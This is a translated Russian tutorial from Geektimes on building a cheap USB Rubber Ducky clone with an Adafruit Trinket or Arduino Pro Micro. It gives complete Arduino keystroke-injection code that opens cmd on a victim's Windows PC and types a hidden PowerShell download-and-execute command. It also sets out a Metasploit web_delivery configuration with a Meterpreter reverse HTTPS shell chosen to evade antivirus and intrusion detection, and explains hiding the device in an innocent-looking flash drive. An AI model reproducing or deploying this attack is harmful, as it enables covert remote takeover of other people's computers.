[Перевод] Взлом компьютера за 3 секунды. Делаем USB-уточку с нуля на Arduino

59dcfb8fe4c4e906279297.jpegНачнём с традиционного «Этот материал представлен только в образовательных целях». Если вы используете эту информацию для взлома HBO и выпуска следующего сезона «Игры престолов» бесплатно на YouTube, ну… здорово. В том смысле, что я никак не поощряю подобное поведение.

Если не знаете, что такое «резиновая уточка» (USB Rubber Ducky), это устройство, которое сделал Hak5, на фото. Оно выглядит и ведёт себя как обычная флешка, но её можно запрограммировать на очень быстрый ввод клавиш с клавиатуры. «Уточка» способна взломать любую систему за несколько секунд. Единственный недостаток — вам понадобится физический доступ к компьютеру. И ещё она стоит $50, вот почему я написал эту статью.

Мы используем 5V Adafruit Trinket и кабель microUSB — вот и всё, что нам понадобится.
К счастью, Adafruit предоставляет библиотеку для интерфейса клавиатуры по USB, так что сразу делаем #include. Вам понадобится установить библиотеку, следуя этой инструкции.

#include

Можем поиграться с библиотекой для начала, начнём с инициализации флэшки как HID-устройства методом begin ().

#include 

void setup() {
    TrinketKeyboard.begin();
}

void loop() {
    TrinketKeyboard.print("Help, I am trapped in a computer! \n");
    delay(500);
}


bfb91c3cbd675edef3a67e2eb4d4c92b.png

Выглядит неплохо. Теперь запустим команды на компьютере жертвы. Это можно сделать, «нажав» клавишу Windows, набрав cmd, Enter, а затем саму команду.

#include 

void pressEnter() {
        TrinketKeyboard.pressKey(0, 0x28);
        delay(10);
        TrinketKeyboard.pressKey(0,0);
        delay(300);
}

void winRun() {
        TrinketKeyboard.pressKey(0x08, 0x15);
        delay(30);
        TrinketKeyboard.pressKey(0,0);
}

void setup() {
        TrinketKeyboard.begin();
        delay(1000);
        winRun();
        delay(100);
        winRun();
        delay(300);
        // Run cmd
        TrinketKeyboard.print("cmd");
        pressEnter();
        delay(500);
        TrinketKeyboard.print("ipconfig");
        delay(100);
        pressEnter();
}


Отлично. Создадим эксплоит во фреймворке Metasploit.
Будем использовать модуль web_delivery. Я выбрал его из-за высокой скорости и низкой вероятности срабатывания антивируса. Он также ничего не пишет на диск, так что не оставит следов по окончании работы.

Здесь мы ломаем 64-битную Windows 10, так что выберем мишенью PowerShell, но имейте в виду, это не эксплоит против PowerShell. Мы просто используем оболочку, чтобы скачать нужные файлы с сервера.

use exploit/multi/script/web_delivery

Нужно сказать нашей программе, откуда брать бинарники:

set LHOST 1.2.3.4

Дальше указываем порт, который не вызовет подозрений, что насчёт 443? ;)

set LPORT 443

Metasploit каждый раз генерирует случайный URIPATH, а мы хотим иметь возможность запускать и останавливать прослушку порта в любой момент без необходимости перекомпилировать код для флешки.

set URIPATH /

Теперь нужно выбрать Powershell в качестве метода доставки. Эксплоит поддерживает три цели, помеченные идентификаторами: это 0: Python, 1: PHP, и 2: Powershell.

set TARGET 2

Теперь задаём полезную нагрузку. Я использую reverse_https, ведь мы работаем по 443-му порту. Для большинства систем обнаружения вторжений будет выглядеть как обычное соединение.

set PAYLOAD windows/meterpreter/reverse_https

И наконец exploit.

Чтобы удобно было останавливать и возобновлять прослушку порта, создадим конфигурационный файл: usb.rc.

use exploit/multi/script/web_delivery
set LHOST 1.2.3.4
set LPORT 443
set URIPATH /
set TARGET 2
set PAYLOAD windows/meterpreter/reverse_https
exploit

Получаем полезную нагрузку для запуска на компьютере жертвы:

powershell.exe -nop -w hidden -c $N=new-object net.webclient;$N.proxy=[Net.WebRequest]::GetSystemWebProxy();$N.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $N.downloadstring('http://1.2.3.4:8080/');

Теперь можем запустить это с флэшки.

#include 

void pressEnter() {
    TrinketKeyboard.pressKey(0, 0x28);
        delay(10);
        TrinketKeyboard.pressKey(0,0);
        delay(300);
}

void winRun() {
        TrinketKeyboard.pressKey(0x08, 0x15);
        delay(30);
        TrinketKeyboard.pressKey(0,0);
}

void setup() {
        TrinketKeyboard.begin();
        delay(1000);
        winRun();
        delay(100);
        winRun();
        delay(300);
        // Run cmd
        TrinketKeyboard.print("cmd");
        pressEnter();
        delay(500);
        TrinketKeyboard.print("powershell.exe -nop -w hidden -c $N=new-object net.webclient;$N.proxy=[Net.WebRequest]::GetSystemWebProxy();$N.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $N.downloadstring('http://1.2.3.4:8080/');"); 
        delay(100);
        pressEnter();
}


void loop() {
        // nothing happens after setup
}


Работает очень неплохо. Нам нужно около 40 секунд, чтобы поиметь Дейнерис, я имею в виду компьютер жертвы.

d601aa2dc4c7719c6497c8345230028f.png

Из-за ограниченной мощности «уточки» загрузчик не доступен постоянно, как в обычной Arduino, вы можете загрузить код только когда нажмёте кнопку на флешке или в течение первых 30 секунд работы. То есть первые 30 секунд после подключения флешки мы ждём, пока код реально сработает, а затем ещё 10 секунд для набора и выполнения скрипта. Было бы очень полезно сократить время доступа на 75%. Вот этот хороший человек отредактировал прошивку, чтобы пропустить загрузчик при подключении. Мы взяли код и перепрошили флэшку, перезагрузили код и та-дам — всё работает. Но можно сделать ещё лучше: хорошо бы спрятать микросхему в корпус, чтобы она не вызывала подозрений.


Я выбрал одну из тех неприметных USB-флешек, которые рекрутеры раздают миллионами, и заказал эти классные маленькие OTG-адаптеры microUSB − USB A. Пришлось отрезать ненужные части печатной платы, чтобы она поместилась в корпус, всунул OTG-адаптер в корпус USB A и заклеил всё суперклеем. По мне так выглядит вообще не подозрительно, но всё-таки 10 секунд — это немалое время, особенно когда прячешься от драконов.

d9509d411558d5f5e1dfb7067fc21a8f.png

Вы также можете заказать Arduino Pro Micro на Amazon примерно за $10. Если есть терпение, то можно даже найти на eBay примерно за $3 или $4. У меня не нашлось USB-флэшки достаточно большого размера для Pro Micro, так что я подключил OTG-адаптер, перемотал его изолентой и на этом успокоился.

56afa2d0d67a45157197267efcdaaba4.jpg

Нужно немного изменить программу, потому что мы используем другую библиотеку, но работать она будет как и раньше.

#include "Keyboard.h"

void winRun() {
        Keyboard.press(KEY_LEFT_GUI);
        Keyboard.press('r');
        delay(30);
        Keyboard.releaseAll();
        delay(100);
}

void setup() {
        Keyboard.begin();
        delay(2000);
        winRun();
        Keyboard.println("cmd");
        Keyboard.write(KEY_RETURN);
        delay(500);
        Keyboard.println("powershell.exe -nop -w hidden -c $C=new-object net.webclient;$C.proxy=[Net.WebRequest]::GetSystemWebProxy();$C.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $C.downloadstring('http://1.2.3.4:8080/');"); 
        Keyboard.write(KEY_RETURN);
}

void loop() {
  // put your main code here, to run repeatedly:
}


Самое большое преимущество Pro Micro — это скорость. Теперь нам нужно всего 3 секунды физического доступа. Настоящая атака на ходу. Если вы намерены применить эту силу, делайте это ради благого дела. Убейте Серсею.

© Geektimes